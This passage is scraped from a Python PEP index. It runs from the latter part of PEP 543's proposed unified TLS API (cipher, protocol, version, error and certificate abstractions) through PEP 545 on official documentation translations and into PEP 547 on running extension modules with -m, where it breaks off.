ssl >>> ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) >>> ctx.set_ciphers('ALL:COMPLEMENTOFALL') >>> ciphers = {c['id'] & 0xffff: c['name'] for c in ctx.get_ciphers()} >>> ciphers[CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256] 'ECDHE-RSA-AES128-GCM-SHA256' For SecureTransport, these enum members directly refer to the values of the cipher suite constants. For example, SecureTransport defines the cipher suite enum member TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 as having the value 0xC02C. Not coincidentally, that is identical to its value in the above enum. This makes mapping between SecureTransport and the above enum very easy indeed. For SChannel there is no easy direct mapping, due to the fact that SChannel configures ciphers, instead of cipher suites. This represents an ongoing concern with SChannel, which is that it is very difficult to configure in a specific manner compared to other TLS implementations. For the purposes of this PEP, any SChannel implementation will need to determine which ciphers to choose based on the enum members. This may be more open than the actual cipher suite list actually wants to allow, or it may be more restrictive, depending on the choices of the implementation. This PEP recommends that it be more restrictive, but of course this cannot be enforced. Protocol Negotiation Both NPN and ALPN allow for protocol negotiation as part of the HTTP/2 handshake. While NPN and ALPN are, at their fundamental level, built on top of bytestrings, string-based APIs are frequently problematic as they allow for errors in typing that can be hard to detect. For this reason, this module would define a type that protocol negotiation implementations can pass and be passed. This type would wrap a bytestring to allow for aliases for well-known protocols. This allows us to avoid the problems inherent in typos for well-known protocols, while allowing the full extensibility of the protocol negotiation layer if needed by letting users pass byte strings directly. class NextProtocol(Enum): H2 = b'h2' H2C = b'h2c' HTTP1 = b'http/1.1' WEBRTC = b'webrtc' C_WEBRTC = b'c-webrtc' FTP = b'ftp' STUN = b'stun.nat-discovery' TURN = b'stun.turn' TLS Versions It is often useful to be able to restrict the versions of TLS you’re willing to support. There are many security advantages in refusing to use old versions of TLS, and some misbehaving servers will mishandle TLS clients advertising support for newer versions. The following enumerated type can be used to gate TLS versions. Forward-looking applications should almost never set a maximum TLS version unless they absolutely must, as a TLS backend that is newer than the Python that uses it may support TLS versions that are not in this enumerated type. Additionally, this enumerated type defines two additional flags that can always be used to request either the lowest or highest TLS version supported by an implementation. class TLSVersion(Enum): MINIMUM_SUPPORTED = auto() SSLv2 = auto() SSLv3 = auto() TLSv1 = auto() TLSv1_1 = auto() TLSv1_2 = auto() TLSv1_3 = auto() MAXIMUM_SUPPORTED = auto() Errors This module would define four base classes for use with error handling. Unlike many of the other classes defined here, these classes are not abstract, as they have no behaviour. They exist simply to signal certain common behaviours. Backends should subclass these exceptions in their own packages, but needn’t define any behaviour for them. In general, concrete implementations should subclass these exceptions rather than throw them directly. This makes it moderately easier to determine which concrete TLS implementation is in use during debugging of unexpected errors. However, this is not mandatory. The definitions of the errors are below: class TLSError(Exception): """ The base exception for all TLS related errors from any backend. Catching this error should be sufficient to catch *all* TLS errors, regardless of what backend is used. """ class WantWriteError(TLSError): """ A special signaling exception used only when non-blocking or buffer-only I/O is used. This error signals that the requested operation cannot complete until more data is written to the network, or until the output buffer is drained. This error is should only be raised when it is completely impossible to write any data. If a partial write is achievable then this should not be raised. """ class WantReadError(TLSError): """ A special signaling exception used only when non-blocking or buffer-only I/O is used. This error signals that the requested operation cannot complete until more data is read from the network, or until more data is available in the input buffer. This error should only be raised when it is completely impossible to write any data. If a partial write is achievable then this should not be raised. """ class RaggedEOF(TLSError): """ A special signaling exception used when a TLS connection has been closed gracelessly: that is, when a TLS CloseNotify was not received from the peer before the underlying TCP socket reached EOF. This is a so-called "ragged EOF". This exception is not guaranteed to be raised in the face of a ragged EOF: some implementations may not be able to detect or report the ragged EOF. This exception is not always a problem. Ragged EOFs are a concern only when protocols are vulnerable to length truncation attacks. Any protocol that can detect length truncation attacks at the application layer (e.g. HTTP/1.1 and HTTP/2) is not vulnerable to this kind of attack and so can ignore this exception. """ Certificates This module would define an abstract X509 certificate class. This class would have almost no behaviour, as the goal of this module is not to provide all possible relevant cryptographic functionality that could be provided by X509 certificates. Instead, all we need is the ability to signal the source of a certificate to a concrete implementation. For that reason, this certificate implementation defines only constructors. In essence, the certificate object in this module could be as abstract as a handle that can be used to locate a specific certificate. Concrete implementations may choose to provide alternative constructors, e.g. to load certificates from HSMs. If a common interface emerges for doing this, this module may be updated to provide a standard constructor for this use-case as well. Concrete implementations should aim to have Certificate objects be hashable if at all possible. This will help ensure that TLSConfiguration objects used with an individual concrete implementation are also hashable. class Certificate(metaclass=ABCMeta): @abstractclassmethod def from_buffer(cls, buffer: bytes): """ Creates a Certificate object from a byte buffer. This byte buffer may be either PEM-encoded or DER-encoded. If the buffer is PEM encoded it *must* begin with the standard PEM preamble (a series of dashes followed by the ASCII bytes "BEGIN CERTIFICATE" and another series of dashes). In the absence of that preamble, the implementation may assume that the certificate is DER-encoded instead. """ @abstractclassmethod def from_file(cls, path: Union[pathlib.Path, AnyStr]): """ Creates a Certificate object from a file on disk. This method may be a convenience method that wraps ``open`` and ``from_buffer``, but some TLS implementations may be able to provide more-secure or faster methods of loading certificates that do not involve Python code. """ Private Keys This module would define an abstract private key class. Much like the Certificate class, this class has almost no behaviour in order to give as much freedom as possible to the concrete implementations to treat keys carefully. This class has all the caveats of the Certificate class. class PrivateKey(metaclass=ABCMeta): @abstractclassmethod def from_buffer(cls, buffer: bytes, password: Optional[Union[Callable[[], Union[bytes, bytearray]], bytes, bytearray]] = None): """ Creates a PrivateKey object from a byte buffer. This byte buffer may be either PEM-encoded or DER-encoded. If the buffer is PEM encoded it *must* begin with the standard PEM preamble (a series of dashes followed by the ASCII bytes "BEGIN", the key type, and another series of dashes). In the absence of that preamble, the implementation may assume that the certificate is DER-encoded instead. The key may additionally be encrypted. If it is, the ``password`` argument can be used to decrypt the key. The ``password`` argument may be a function to call to get the password for decrypting the private key. It will only be called if the private key is encrypted and a password is necessary. It will be called with no arguments, and it should return either bytes or bytearray containing the password. Alternatively a bytes, or bytearray value may be supplied directly as the password argument. It will be ignored if the private key is not encrypted and no password is needed. """ @abstractclassmethod def from_file(cls, path: Union[pathlib.Path, bytes, str], password: Optional[Union[Callable[[], Union[bytes, bytearray]], bytes, bytearray]] = None): """ Creates a PrivateKey object from a file on disk. This method may be a convenience method that wraps ``open`` and ``from_buffer``, but some TLS implementations may be able to provide more-secure or faster methods of loading certificates that do not involve Python code. The ``password`` parameter behaves exactly as the equivalent parameter on ``from_buffer``. """ Trust Store As discussed above, loading a trust store represents an issue because different TLS implementations vary wildly in how they allow users to select trust stores. For this reason, we need to provide a model that assumes very little about the form that trust stores take. This problem is the same as the one that the Certificate and PrivateKey types need to solve. For this reason, we use the exact same model, by creating an opaque type that can encapsulate the various means that TLS backends may open a trust store. A given TLS implementation is not required to implement all of the constructors. However, it is strongly recommended that a given TLS implementation provide the system constructor if at all possible, as this is the most common validation trust store that is used. Concrete implementations may also add their own constructors. Concrete implementations should aim to have TrustStore objects be hashable if at all possible. This will help ensure that TLSConfiguration objects used with an individual concrete implementation are also hashable. class TrustStore(metaclass=ABCMeta): @abstractclassmethod def system(cls) -> TrustStore: """ Returns a TrustStore object that represents the system trust database. """ @abstractclassmethod def from_pem_file(cls, path: Union[pathlib.Path, bytes, str]) -> TrustStore: """ Initializes a trust store from a single file full of PEMs. """ Runtime Access A not-uncommon use case for library users is to want to allow the library to control the TLS configuration, but to want to select what backend is in use. For example, users of Requests may want to be able to select between OpenSSL or a platform-native solution on Windows and macOS, or between OpenSSL and NSS on some Linux platforms. These users, however, may not care about exactly how their TLS configuration is done. This poses a problem: given an arbitrary concrete implementation, how can a library work out how to load certificates into the trust store? There are two options: either all concrete implementations can be required to fit into a specific naming scheme, or we can provide an API that makes it possible to grab these objects. This PEP proposes that we use the second approach. This grants the greatest freedom to concrete implementations to structure their code as they see fit, requiring only that they provide a single object that has the appropriate properties in place. Users can then pass this “backend” object to libraries that support it, and those libraries can take care of configuring and using the concrete implementation. All concrete implementations must provide a method of obtaining a Backend object. The Backend object can be a global singleton or can be created by a callable if there is an advantage in doing that. The Backend object has the following definition: Backend = namedtuple( 'Backend', ['client_context', 'server_context', 'certificate', 'private_key', 'trust_store'] ) Each of the properties must provide the concrete implementation of the relevant ABC. This ensures that code like this will work for any backend: trust_store = backend.trust_store.system() Changes to the Standard Library The portions of the standard library that interact with TLS should be revised to use these ABCs. This will allow them to function with other TLS backends. This includes the following modules: asyncio ftplib http imaplib nntplib poplib smtplib urllib Migration of the ssl module Naturally, we will need to extend the ssl module itself to conform to these ABCs. This extension will take the form of new classes, potentially in an entirely new module. This will allow applications that take advantage of the current ssl module to continue to do so, while enabling the new APIs for applications and libraries that want to use them. In general, migrating from the ssl module to the new ABCs is not expected to be one-to-one. This is normally acceptable: most tools that use the ssl module hide it from the user, and so refactoring to use the new module should be invisible. However, a specific problem comes from libraries or applications that leak exceptions from the ssl module, either as part of their defined API or by accident (which is easily done). Users of those tools may have written code that tolerates and handles exceptions from the ssl module being raised: migrating to the ABCs presented here would potentially cause the exceptions defined above to be thrown instead, and existing except blocks will not catch them. For this reason, part of the migration of the ssl module would require that the exceptions in the ssl module alias those defined above. That is, they would require the following statements to all succeed: assert ssl.SSLError is tls.TLSError assert ssl.SSLWantReadError is tls.WantReadError assert ssl.SSLWantWriteError is tls.WantWriteError The exact mechanics of how this will be done are beyond the scope of this PEP, as they are made more complex due to the fact that the current ssl exceptions are defined in C code, but more details can be found in an email sent to the Security-SIG by Christian Heimes. Future Major future TLS features may require revisions of these ABCs. These revisions should be made cautiously: many backends may not be able to move forward swiftly, and will be invalidated by changes in these ABCs. This is acceptable, but wherever possible features that are specific to individual implementations should not be added to the ABCs. The ABCs should restrict themselves to high-level descriptions of IETF-specified features. However, well-justified extensions to this API absolutely should be made. The focus of this API is to provide a unifying lowest-common-denominator configuration option for the Python community. TLS is not a static target, and as TLS evolves so must this API. Credits This document has received extensive review from a number of individuals in the community who have substantially helped shape it. Detailed review was provided by: Alex Chan Alex Gaynor Antoine Pitrou Ashwini Oruganti Donald Stufft Ethan Furman Glyph Hynek Schlawack Jim J Jewett Nathaniel J. Smith Alyssa Coghlan Paul Kehrer Steve Dower Steven Fackler Wes Turner Will Bond Further review was provided by the Security-SIG and python-ideas mailing lists. Copyright This document has been placed in the public domain.

Withdrawn

PEP 543 – A Unified TLS API for Python

Standards Track

This PEP would define a standard TLS interface in the form of a collection of abstract base classes. This interface would allow Python implementations and third-party libraries to provide bindings to TLS libraries other than OpenSSL that can be used by tools that expect the interface provided by the Python standard library, with the goal of reducing the dependence of the Python ecosystem on OpenSSL.

PEP 545 – Python Documentation Translations Author: Julien Palard <julien at palard.fr>, Inada Naoki <songofacandy at gmail.com>, Victor Stinner <vstinner at python.org> Status: Final Type: Process Created: 04-Mar-2017 Resolution: Python-Dev message Table of Contents Abstract Motivation Rationale Translation Issue tracker Branches Hosting Domain Name, Content negotiation and URL Language Tag Fetching And Building Translations Community Mailing List Chat Repository for PO Files Translation tools Documentation Contribution Agreement Language Team Alternatives Simplified English Changes Get a Documentation Contribution Agreement Migrate GitHub Repositories Setup a GitHub bot for Documentation Contribution Agreement Patch docsbuild-scripts to Compile Translations List coordinators in the devguide Create sphinx-doc Language Switcher Update sphinx-doc Version Switcher Enhance Rendering of Untranslated and Fuzzy Translations New Translation Procedure Designate a Coordinator Create GitHub Repository Setup the Documentation Contribution Agreement Add support for translations in docsbuild-scripts Add Translation to the Language Switcher Previous Discussions References Copyright Abstract The intent of this PEP is to make existing translations of the Python Documentation more accessible and discoverable. By doing so, we hope to attract and motivate new translators and new translations. Translated documentation will be hosted on python.org. Examples of two active translation teams: http://docs.python.org/fr/: French http://docs.python.org/ja/: Japanese http://docs.python.org/en/ will redirect to http://docs.python.org/. Sources of translated documentation will be hosted in the Python organization on GitHub: https://github.com/python/. Contributors will have to accept a Documentation Contribution Agreement. Motivation On the French #python-fr IRC channel on freenode, it’s not rare to meet people who don’t speak English and so are unable to read the Python official documentation. Python wants to be widely available to all users in any language: this is also why Python 3 supports any non-ASCII identifiers: PEP 3131 There are at least 4 groups of people who are translating the Python documentation to their native language (French [16] [17] [18], Japanese [19] [20], Spanish [21], Hungarian [26] [27]) even though their translations are not visible on d.p.o. Other, less visible and less organized groups, are also translating the documentation, we’ve heard of Russian [25], Chinese and Korean. Others we haven’t found yet might also exist. This PEP defines rules describing how to move translations on docs.python.org so they can easily be found by developers, newcomers and potential translators. The Japanese team has (as of March 2017) translated ~80% of the documentation, the French team ~20%. French translation went from 6% to 23% in 2016 [13] with 7 contributors [14], proving a translation team can be faster than the rate the documentation mutates. Quoting Xiang Zhang about Chinese translations: I have seen several groups trying to translate part of our official doc. But their efforts are disperse and quickly become lost because they are not organized to work towards a single common result and their results are hold anywhere on the Web and hard to find. An official one could help ease the pain. Rationale Translation Issue tracker Considering that issues opened about translations may be written in the translation language, which can be considered noise but at least is inconsistent, issues should be placed outside bugs.python.org (b.p.o). As all translation must have their own GitHub project (see Repository for Po Files), they must use the associated GitHub issue tracker. Considering the noise induced by translation issues redacted in any languages which may beyond every warnings land in b.p.o, triage will have to be done. Considering that translations already exist and are not actually a source of noise in b.p.o, an unmanageable amount of work is not to be expected. Considering that Xiang Zhang and Victor Stinner are already triaging, and Julien Palard is willing to help on this task, noise on b.p.o is not to be expected. Also, language team coordinators (see Language Team) should help with triaging b.p.o by properly indicating, in the language of the issue author if required, the right issue tracker. Branches Translation teams should focus on last stable versions, and use tools (scripts, translation memory, …) to automatically translate what is done in one branch to other branches. Note Translation memories are a kind of database of previously translated paragraphs, even removed ones. See also Sphinx Internationalization. The three currently stable branches that will be translated are [12]: 2.7, 3.5, and 3.6. The scripts to build the documentation of older branches needs to be modified to support translation [12], whereas these branches now only accept security-only fixes. The development branch (main) should have a lower translation priority than stable branches. But docsbuild-scripts should build it anyway so it is possible for a team to work on it to be ready for the next release. Hosting Domain Name, Content negotiation and URL Different translations can be identified by changing one of the following: Country Code Top Level Domain (CCTLD), path segment, subdomain or content negotiation. Buying a CCTLD for each translations is expensive, time-consuming, and sometimes almost impossible when already registered, this solution should be avoided. Using subdomains like “es.docs.python.org” or “docs.es.python.org” is possible but confusing (“is it es.docs.python.org or docs.es.python.org?”). Hyphens in subdomains like pt-br.doc.python.org is uncommon and SEOMoz [23] correlated the presence of hyphens as a negative factor. Usage of underscores in subdomain is prohibited by the RFC 1123, section 2.1. Finally, using subdomains means creating TLS certificates for each language. This not only requires more maintenance but will also cause issues in language switcher if, as for version switcher, we want a preflight to check if the translation exists in the given version: preflight will probably be blocked by same-origin-policy. Wildcard TLS certificates are very expensive. Using content negotiation (HTTP headers Accept-Language in the request and Vary: Accept-Language) leads to a bad user experience where they can’t easily change the language. According to Mozilla: “This header is a hint to be used when the server has no way of determining the language via another way, like a specific URL, that is controlled by an explicit user decision.” [24]. As we want to be able to easily change the language, we should not use the content negotiation as a main language determination, so we need something else. Last solution is to use the URL path, which looks readable, allows for an easy switch from a language to another, and nicely accepts hyphens. Typically something like: “docs.python.org/de/” or, by using a hyphen: “docs.python.org/pt-BR/”. As for the version, sphinx-doc does not support compiling for multiple languages, so we’ll have full builds rooted under a path, exactly like we’re already doing with versions. So we can have “docs.python.org/de/3.6/” or “docs.python.org/3.6/de/”. A question that arises is: “Does the language contain multiple versions or does the version contain multiple languages?”. As versions exist in any case and translations for a given version may or may not exist, we may prefer “docs.python.org/3.6/de/”, but doing so scatters languages everywhere. Having “/de/3.6/” is clearer, meaning: “everything under /de/ is written in German”. Having the version at the end is also a habit taken by readers of the documentation: they like to easily change the version by changing the end of the path. So we should use the following pattern: “docs.python.org/LANGUAGE_TAG/VERSION/”. The current documentation is not moved to “/en/”, instead “docs.python.org/en/” will redirect to “docs.python.org”. Language Tag A common notation for language tags is the IETF Language Tag [4] based on ISO 639, although gettext uses ISO 639 tags with underscores (ex: pt_BR) instead of dashes to join tags [5] (ex: pt-BR). Examples of IETF Language Tags: fr (French), ja (Japanese), pt-BR (Orthographic formulation of 1943 - Official in Brazil). It is more common to see dashes instead of underscores in URLs [6], so we should use IETF language tags, even if sphinx uses gettext internally: URLs are not meant to leak the underlying implementation. It’s uncommon to see capitalized letters in URLs, and docs.python.org doesn’t use any, so it may hurt readability by attracting the eye on it, like in: “https://docs.python.org/pt-BR/3.6/library/stdtypes.html”. RFC 5646#section-2.1.1 (Tags for Identifying Languages (IETF)) section-2.1 states that tags are not case sensitive. As the RFC allows lower case, and it enhances readability, we should use lowercased tags like pt-br. We may drop the region subtag when it does not add distinguishing information, for example: “de-DE” or “fr-FR”. (Although it might make sense, respectively meaning “German as spoken in Germany” and “French as spoken in France”). But when the region subtag actually adds information, for example “pt-BR” or “Portuguese as spoken in Brazil”, it should be kept. So we should use IETF language tags, lowercased, like /fr/, /pt-br/, /de/ and so on. Fetching And Building Translations Currently docsbuild-scripts are building the documentation [8]. These scripts should be modified to fetch and build translations. Building new translations is like building new versions so, while we’re adding complexity it is not that much. Two steps should be configurable distinctively: Building a new language, and adding it to the language switcher. This allows a transition step between “we accepted the language” and “it is translated enough to be made public”. During this step, translators can review their modifications on d.p.o without having to build the documentation locally. From the translation repositories, only the .po files should be opened by the docsbuild-script to keep the attack surface and probable bug sources at a minimum. This means no translation can patch sphinx to advertise their translation tool. (This specific feature should be handled by sphinx anyway [9]). Community Mailing List The doc-sig mailing list will be used to discuss cross-language changes on translated documentation. There is also the i18n-sig list but it’s more oriented towards i18n APIs [1] than translating the Python documentation. Chat Due to the Python community being highly active on IRC, we should create a new IRC channel on freenode, typically #python-doc for consistency with the mailing list name. Each language coordinator can organize their own team, even by choosing another chat system if the local usage asks for it. As local teams will write in their native languages, we don’t want each team in a single channel. It’s also natural for the local teams to reuse their local channels like “#python-fr” for French translators. Repository for PO Files Considering that each translation team may want to use different translation tools, and that those tools should easily be synchronized with git, all translations should expose their .po files via a git repository. Considering that each translation will be exposed via git repositories, and that Python has migrated to GitHub, translations will be hosted on GitHub. For consistency and discoverability, all translations should be in the same GitHub organization and named according to a common pattern. Given that we want translations to be official, and that Python already has a GitHub organization, translations should be hosted as projects of the Python GitHub organization. For consistency, translation repositories should be called python-docs-LANGUAGE_TAG [22], using the language tag used in paths: without region subtag if redundant, and lowercased. The docsbuild-scripts may enforce this rule by refusing to fetch outside of the Python organization or a wrongly named repository. The CLA bot may be used on the translation repositories, but with a limited effect as local coordinators may synchronize themselves with translations from an external tool, like transifex, and lose track of who translated what in the process. Versions can be hosted on different repositories, different directories or different branches. Storing them on different repositories will probably pollute the Python GitHub organization. As it is typical and natural to use branches to separate versions, branches should be used to do so. Translation tools Most of the translation work is actually done on Transifex [15]. Other tools may be used later like https://pontoon.mozilla.org/ and http://zanata.org/. Documentation Contribution Agreement Documentation does require a license from the translator, as it involves creativity in the expression of the ideas. There’s multiple solutions, quoting Van Lindberg from the PSF asked about the subject: Docs should either have the copyright assigned or be under CCO. A permissive software license (like Apache or MIT) would also get the job done, although it is not quite fit for task. The translators should either sign an agreement or submit a declaration of the license with the translation. We should have in the project page an invitation for people to contribute under a defined license, with acceptance defined by their act of contribution. Such as: “By posting this project on Transifex and inviting you to participate, we are proposing an agreement that you will provide your translation for the PSF’s use under the CC0 license. In return, you may noted that you were the translator for the portion you translate. You signify acceptance of this agreement by submitting your work to the PSF for inclusion in the documentation.” It looks like having a “Documentation Contribution Agreement” is the most simple thing we can do as we can use multiple ways (GitHub bots, invitation page, …) in different context to ensure contributors are agreeing with it. Language Team Each language team should have one coordinator responsible for: Managing the team. Choosing and managing the tools the team will use (chat, mailing list, …). Ensure contributors understand and agree with the documentation contribution agreement. Ensure quality (grammar, vocabulary, consistency, filtering spam, ads, …). Redirect issues posted on b.p.o to the correct GitHub issue tracker for the language. Alternatives Simplified English It would be possible to introduce a “simplified English” version like Wikipedia did [10], as discussed on python-dev [11], targeting English learners and children. Pros: It yields a single translation, theoretically readable by everyone and reviewable by current maintainers. Cons: Subtle details may be lost, and translators from English to English may be hard to find as stated by Wikipedia: > The main English Wikipedia has 5 million articles, written by nearly 140K active users; the Swedish Wikipedia is almost as big, 3M articles from only 3K active users; but the Simple English Wikipedia has just 123K articles and 871 active users. That’s fewer articles than Esperanto! Changes Get a Documentation Contribution Agreement The Documentation Contribution Agreement have to be written by the PSF, then listed at https://www.python.org/psf/contrib/ and have its own page like https://www.python.org/psf/contrib/doc-contrib-form/. Migrate GitHub Repositories We (authors of this PEP) already own French and Japanese Git repositories, so moving them to the Python documentation organization will not be a problem. We’ll however be following the New Translation Procedure. Setup a GitHub bot for Documentation Contribution Agreement To help ensuring contributors from GitHub have signed the Documentation Contribution Agreement, We can setup the “The Knights Who Say Ni” GitHub bot customized for this agreement on the migrated repositories [28]. Patch docsbuild-scripts to Compile Translations Docsbuild-script must be patched to: List the language tags to build along with the branches to build. List the language tags to display in the language switcher. Find translation repositories by formatting github.com:python/python-docs-{language_tag}.git (See Repository for Po Files) Build translations for each branch and each language. Patched docsbuild-scripts must only open .po files from translation repositories. List coordinators in the devguide Add a page or a section with an empty list of coordinators to the devguide, each new coordinator will be added to this list. Create sphinx-doc Language Switcher Highly similar to the version switcher, a language switcher must be implemented. This language switcher must be configurable to hide or show a given language. The language switcher will only have to update or add the language segment to the path like the current version switcher does. Unlike the version switcher, no preflight are required as destination page always exists (translations does not add or remove pages). Untranslated (but existing) pages still exists, they should however be rendered as so, see Enhance Rendering of Untranslated and Fuzzy Translations. Update sphinx-doc Version Switcher The patch_url function of the version switcher in version_switch.js have to be updated to understand and allow the presence of the language segment in the path. Enhance Rendering of Untranslated and Fuzzy Translations It’s an opened sphinx issue [9], but we’ll need it so we’ll have to work on it. Translated, fuzzy, and untranslated paragraphs should be differentiated. (Fuzzy paragraphs have to warn the reader what he’s reading may be out of date.) New Translation Procedure Designate a Coordinator The first step is to designate a coordinator, see Language Team, The coordinator must sign the CLA. The coordinator should be added to the list of translation coordinators on the devguide. Create GitHub Repository Create a repository named “python-docs-{LANGUAGE_TAG}” (IETF language tag, without redundant region subtag, with a dash, and lowercased.) on the Python GitHub organization (See Repository For Po Files.), and grant the language coordinator push rights to this repository. Setup the Documentation Contribution Agreement The README file should clearly show the following Documentation Contribution Agreement: NOTE REGARDING THE LICENSE FOR TRANSLATIONS: Python's documentation is maintained using a global network of volunteers. By posting this project on Transifex, GitHub, and other public places, and inviting you to participate, we are proposing an agreement that you will provide your improvements to Python's documentation or the translation of Python's documentation for the PSF's use under the CC0 license (available at `https://creativecommons.org/publicdomain/zero/1.0/legalcode`_). In return, you may publicly claim credit for the portion of the translation you contributed and if your translation is accepted by the PSF, you may (but are not required to) submit a patch including an appropriate annotation in the Misc/ACKS or TRANSLATORS file. Although nothing in this Documentation Contribution Agreement obligates the PSF to incorporate your textual contribution, your participation in the Python community is welcomed and appreciated. You signify acceptance of this agreement by submitting your work to the PSF for inclusion in the documentation. Add support for translations in docsbuild-scripts As soon as the translation hits its first commits, update the docsbuild-scripts configuration to build the translation (but not displaying it in the language switcher). Add Translation to the Language Switcher As soon as the translation hits: 100% of bugs.html with proper links to the language repository issue tracker. 100% of tutorial. 100% of library/functions (builtins). the translation can be added to the language switcher. Previous Discussions [Python-ideas] Cross link documentation translations (January, 2016) [Python-Dev] Translated Python documentation (February 2016) [Python-ideas] https://docs.python.org/fr/ ? (March 2016) References [1] [I18n-sig] Hello Python members, Do you have any idea about Python documents? (https://mail.python.org/pipermail/i18n-sig/2013-September/002130.html) [2] [Doc-SIG] Localization of Python docs (https://mail.python.org/pipermail/doc-sig/2013-September/003948.html) [4] IETF language tag (https://en.wikipedia.org/wiki/IETF_language_tag) [5] GNU Gettext manual, section 2.3.1: Locale Names (https://www.gnu.org/software/gettext/manual/html_node/Locale-Names.html) [6] Semantic URL: Slug (https://en.wikipedia.org/wiki/Clean_URL#Slug) [8] Docsbuild-scripts GitHub repository (https://github.com/python/docsbuild-scripts/) [9] (1, 2) i18n: Highlight untranslated paragraphs (https://github.com/sphinx-doc/sphinx/issues/1246) [10] Wikipedia: Simple English (https://simple.wikipedia.org/wiki/Main_Page) [11] Python-dev discussion about simplified English (https://mail.python.org/pipermail/python-dev/2017-February/147446.html) [12] (1, 2) Passing options to sphinx from Doc/Makefile (https://github.com/python/cpython/commit/57acb82d275ace9d9d854b156611e641f68e9e7c) [13] French translation progression (https://mdk.fr/pycon2016/#/11) [14] French translation contributors (https://github.com/AFPy/python_doc_fr/graphs/contributors?from=2016-01-01&to=2016-12-31&type=c) [15] Python-doc on Transifex (https://www.transifex.com/python-doc/public/) [16] French translation (https://www.afpy.org/doc/python/) [17] French translation on Gitea (https://git.afpy.org/AFPy/python-docs-fr) [18] French mailing list (http://lists.afpy.org/mailman/listinfo/traductions) [19] Japanese translation (http://docs.python.jp/3/) [20] Japanese translation on GitHub (https://github.com/python-doc-ja/python-doc-ja) [21] Spanish translation (https://docs.python.org/es/3/tutorial/index.html) [22] [Python-Dev] Translated Python documentation: doc vs docs (https://mail.python.org/pipermail/python-dev/2017-February/147472.html) [23] Domains - SEO Best Practices | Moz (https://moz.com/learn/seo/domain) [24] Accept-Language (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Accept-Language) [25] Документация Python 2.7! (http://python-lab.ru/documentation/index.html) [26] Python-oktató (http://web.archive.org/web/20170526080729/http://harp.pythonanywhere.com/python_doc/tutorial/index.html) [27] The Python-hu Archives (https://mail.python.org/pipermail/python-hu/) [28] [Python-Dev] PEP 545: Python Documentation Translations (https://mail.python.org/pipermail/python-dev/2017-April/147752.html) Copyright This document has been placed in the public domain.

Final

PEP 545 – Python Documentation Translations

Process

The intent of this PEP is to make existing translations of the Python Documentation more accessible and discoverable. By doing so, we hope to attract and motivate new translators and new translations.

PEP 547 – Running extension modules using the -m option Author: Marcel Plch <gmarcel.plch at gmail.com>, Petr Viktorin <encukou at gmail.com> Status: Deferred Type: Standards Track Created: 25-May-2017 Python-Version: 3.7 Post-History: Table of Contents Deferral Notice Abstract Motivation Rationale Background Proposal Specification ExtensionFileLoader Changes Backwards Compatibility Reference Implementation Copyright Deferral Notice Cython – the most important use case for this PEP and the only explicit one – is not ready for multi-phase initialization yet. It keeps global state in C-level static variables. See discussion at Cython issue 1923. The PEP is deferred until the situation changes. Abstract This PEP proposes implementation that allows built-in and extension modules to be executed in the __main__ namespace using the PEP 489 multi-phase initialization. With this, a multi-phase initialization enabled module can be run using following command: $ python3 -m _testmultiphase This is a test module named __main__. Motivation Currently, extension modules do not support all functionality of Python source modules. Specifically, it is not possible to run extension modules as scripts using Python’s -m option. The technical groundwork to make this possible has been done for PEP 489, and enabling the -m option is listed in that PEP’s “Possible Future Extensions” section. Technically, the additional changes proposed here are relatively small. Rationale Extension modules’ lack of support for the -m option has traditionally been worked around by providing a Python wrapper. For example, the _pickle module’s command line interface is in the pure-Python pickle module (along with a pure-Python reimplementation). This works well for standard library modules, as building command line interfaces using the C API is cumbersome. However, other users may want to create executable extension modules directly. An important use case is Cython, a Python-like language that compiles to C extension modules. Cython is a (near) superset of Python, meaning that compiling a Python module with Cython will typically not change the module’s functionality, allowing Cython-specific features to be added gradually. This PEP will allow Cython extension modules to behave the same as their Python counterparts when run using the -m option. Cython developers consider the feature worth implementing (see Cython issue 1715). Background Python’s -m option is handled by the function runpy._run_module_as_main. The module specified by -m is not imported normally. Instead, it is executed in the namespace of the __main__ module, which is created quite early in interpreter initialization. For Python source modules, running in another module’s namespace is not a problem: the code is executed with locals and globals set to the existing module’s __dict__. This is not the case for extension modules, whose PyInit_* entry point traditionally both created a new module object (using PyModule_Create), and initialized it. Since Python 3.5, extension modules can use PEP 489 multi-phase initialization. In this scenario, the PyInit_* entry point returns a PyModuleDef structure: a description of how the module should be created and initialized. The extension can choose to customize creation of the module object using the Py_mod_create callback, or opt to use a normal module object by not specifying Py_mod_create. Another callback, Py_mod_exec, is then called to initialize the module object, e.g. by populating it with methods and classes. Proposal Multi-phase initialization makes it possible to execute an extension module in another module’s namespace: if a Py_mod_create callback is not specified, the __main__ module can be passed to the Py_mod_exec callback to be initialized, as if __main__ was a freshly constructed module object. One complication in this scheme is C-level module state. Each module has a md_state pointer that points to a region of memory allocated when an extension module is created. The PyModuleDef specifies how much memory is to be allocated. The implementation must take care that md_state memory is allocated at most once. Also, the Py_mod_exec callback should only be called once per module. The implications of multiply-initialized modules are too subtle to require expecting extension authors to reason about them. The md_state pointer itself will serve as a guard: allocating the memory and calling Py_mod_exec will always be done together, and initializing an extension module will fail if md_state is already non-NULL. Since the __main__ module is not created as an extension module, its md_state is normally NULL. Before initializing an extension module in __main__’s context, its module state will be allocated according to the PyModuleDef of that module. While PEP 489 was designed to make these changes generally possible, it’s necessary to decouple module discovery, creation, and initialization steps for extension modules, so that another module can be used instead of a newly initialized one, and the functionality needs to be added to runpy and importlib. Specification A new optional method for importlib loaders will be added. This method will be called exec_in_module and will take two positional arguments: module spec and an already existing module. Any import-related attributes, such as __spec__ or __name__, already set on the module will be ignored. The runpy._run_module_as_main function will look for this new loader method. If it is present, runpy will execute it instead of trying to load and run the module’s Python code. Otherwise, runpy will act as before. ExtensionFileLoader Changes importlib’s ExtensionFileLoader will get an implementation of exec_in_module that will call a new function, _imp.exec_in_module. _imp.exec_in_module will use existing machinery to find and call an extension module’s PyInit_* function. The PyInit_* function can return either a fully initialized module (single-phase initialization) or a PyModuleDef (for PEP 489 multi-phase initialization). In the single-phase initialization case, _imp.exec_in_module will raise ImportError. In the multi-phase initialization case, the PyModuleDef and the module to be initialized will be passed to a new function, PyModule_ExecInModule. This function raises ImportError if the PyModuleDef specifies a Py_mod_create slot, or if the module has already been initialized (i.e. its md_state pointer is not NULL). Otherwise, the function will initialize the module according to the PyModuleDef. Backwards Compatibility This PEP maintains backwards compatibility. It only adds new functions, and a new loader method that is added for a loader that previously did not support running modules as __main__. Reference Implementation The reference implementation of this PEP is available at 